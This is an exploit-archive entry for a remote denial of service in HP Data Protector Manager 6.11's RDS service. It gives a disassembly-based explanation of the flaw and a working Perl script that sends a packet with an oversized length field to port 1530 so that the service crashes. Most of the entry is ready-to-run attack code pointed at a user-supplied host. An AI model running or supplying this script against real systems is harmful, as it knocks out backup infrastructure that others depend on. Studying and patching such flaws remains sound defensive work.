HP Data Protector Manager v6.11 Remote DoS in RDS Service

2011-01-08T00:00:00
ID 1337DAY-ID-15420
Type zdt
Reporter Pepelux
Modified 2011-01-08T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            #!/usr/bin/perl
 
# ===============================
# HP Data Protector Manager v6.11
# ===============================
#
# Bug: Remote Denial of Service Vulnerabilities (RDS Service)
#
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html
# Date: 08/01/2011
# Authors: Roi Mallo - rmallof[AT]gmail[DOT]com
#                   http://elotrolad0.blogspot.com/ - http://twitter.com/rmallof
#              Pepelux - pepelux[AT]enye-sec[DOT]com
#                   http://www.enye-sec.org - http://www.pepelux.org - http://twitter.com/pepeluxx
#
# Vulnerable file: Program Files\OmniBack\rds.exe
#
# Tested on Windows XP SP2 && Windows XP SP3
#
#
# POC:
# _ncp32.dll is the responsable of waiting the packet (RECV)
# when a packet is received, it uses _rm32.dll to allocating memory,
# as the size is too big, malloc can't allocate this size and the program exit.
#
# _ncp32.dll
# 00482F92   68 7DFAF908    PUSH 8F9FA7D
# 00482F97   6A 00              PUSH 0
# 00482F99   6A 01              PUSH 1
# 00482F9B   6A 00              PUSH 0
# 00482F9D   8B55 F8            MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h)
# 00482FA0   52                     PUSH EDX
# 00482FA1   E8 9C2D0000    CALL <JMP.&_rm32.#20_rm_getMem>
#
#
# _rm32.dll
# 0038C49B   8B45 08            MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h)
# 0038C49E   83C0 08            ADD EAX,8
# 0038C4A1   50                 PUSH EAX
# 0038C4A2   FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]    ; MSVCR71.malloc  --> Returns 0 because no space available
# ......
# 0038C5F9   50                     PUSH EAX
# 0038C5FA   68 2C0C3A00    PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s"
#......
# 0038C64E   E8 8D220000      CALL _rm32.rm_errorExit
 
 
 
use IO::Socket;
 
my ($server, $port) = @ARGV ;
 
unless($ARGV[0] || $ARGV[1]) {
    print "Usage: perl $0 <host> [port]\n";
    print "\tdefault port = 1530\n\n";
    exit 1;
}
 
$port = 1530 if !($ARGV[1]);
 
 
if ($^O =~ /Win/) {system("cls");}else{system("clear");}
 
my $buf = "\x23\x8c\x29\xb6";   # header (always the same)
$buf .= "\x64\x00\x00\x00";         # data packet size (too big)
$buf .= "\x41"x4;                       # data
 
print "[+] Connecting to $server:$port ...\n";
 
my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");
 
print "[+] Sending malicious packet ...\n";
print $sock1 "$buf";
print "\n[x] Server crashed!\n";
exit;



#  0day.today [2018-04-01]  #